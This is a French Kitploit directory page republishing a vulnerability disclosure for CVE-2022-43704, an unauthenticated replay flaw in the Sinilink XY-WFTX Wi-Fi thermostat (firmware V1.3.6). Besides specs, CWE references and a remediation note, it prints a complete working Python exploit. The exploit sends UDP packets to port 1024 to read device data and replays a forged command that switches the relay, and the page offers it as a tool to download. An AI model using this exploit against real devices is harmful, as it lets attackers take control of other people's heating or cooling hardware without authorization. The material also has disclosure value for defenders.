Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-43704 — Sinilink XY-WFTX Module thermostat Wifi à distance Contrôleur de température | Kitploit
Outils/GitHubGitHub/9lyph/cve-2022-43704
Authentification et AutorisationSécurité des Systèmes EmbarquésSniffing et Analyse de PaquetsReconnaissanceSécurité IoTAnalyse des VulnérabilitésExploitationSécurité Sans FilTests d'IntrusionSécurité Matériel et IoT
GitHub
52il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
9lyph/cve-2022-43704

CVE-2022-43704

Sinilink XY-WFTX Module thermostat Wifi à distance Contrôleur de température

Voir le dépôt
Partager

CVE-2022-43704 - Canal accessible par un non-point de terminaison / Contournement d'authentification par rejeu

Sinilink XY-WFTX Module thermostat Wi-Fi, contrôleur de température

Titre

sinilink

Documentation du produit

  • Application

  • Manuel d'utilisation

Matériel

Fiche(s) technique(s)

ESP8285

Buck Converter

Firmware

Description du produit

root@kitploit:~
Overview

WIFI Remote Thermostat High Precision Temperature Controller Module Cooling 
and Heating APP Temperature Collection XY-WFT1 WFTX

Technical Parameters

Temperature display: digital tube display
Supply voltage: DC 6~30V
USB power supply: support
Temperature control range: -40~110°C
Temperature control accuracy: 0.1℃
NTC temperature measurement range: -40~110℃
Whether to support 18B20: Yes (-40~110°℃)
Output type: relay switch, current within 10A
Alarm notification: support WeChat alarm notification
Cloud data record: 15 days cloud record, can be exported at any time
Timer switch function: support

Références

MITRE

[Exploit-DB]

Fabricant

Sinilink.com

Recherche

  • Le produit utilise des websockets pour établir des communications vers ws://mq.sinilink.com:8085/mqtt.
  • Ce point de terminaison est utilisé comme courtier MQTT et n'est pas authentifié.

Carte de la surface d'attaque

Résultat

Canal accessible par un non-point de terminaison

  • Le thermostat Wi-Fi Sinilink, exécutant le firmware V1.3.6, permet à un attaquant de contourner l'obligation de communiquer via MQTT, mais il est possible de rejouer les commandes du protocole Sinilink en interférant directement avec le périphérique cible. Cela permet à son tour une attaque pour contrôler le relais embarqué sans nécessiter d'authentification via l'application mobile.
  • Le périphérique cible doit être en « Mode manuel » avec « Alimentation activée, fermée » comme condition préalable.

Configuration prérequise

Faiblesse et vulnérabilité

  • CWE-300 : Canal accessible par un non-point de terminaison
  • CWE-294 : Contournement d'authentification par rejeu de capture

Configurations logicielles affectées connues

  • V1.3.6

Code POC

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

Étapes de correction

  • Vérifiez correctement l'identité des entités à chaque extrémité du canal de communication. Une vérification inadéquate ou incohérente peut entraîner une identification insuffisante ou incorrecte de l'une ou l'autre des entités communicantes. Cela peut avoir des conséquences négatives telles qu'une confiance mal placée dans l'entité à l'autre extrémité du canal. Un attaquant peut en tirer parti en s'interposant entre les entités communicantes et en se faisant passer pour l'entité d'origine. En l'absence d'une vérification suffisante de l'identité, un tel attaquant peut écouter et potentiellement modifier la communication entre les entités d'origine.

Pwnage

Découvreur/Crédit :

Victor Hanna d'Exploit Security

Suivez-moi sur

Mastodon Linkedin Youtube

Télécharger l’outil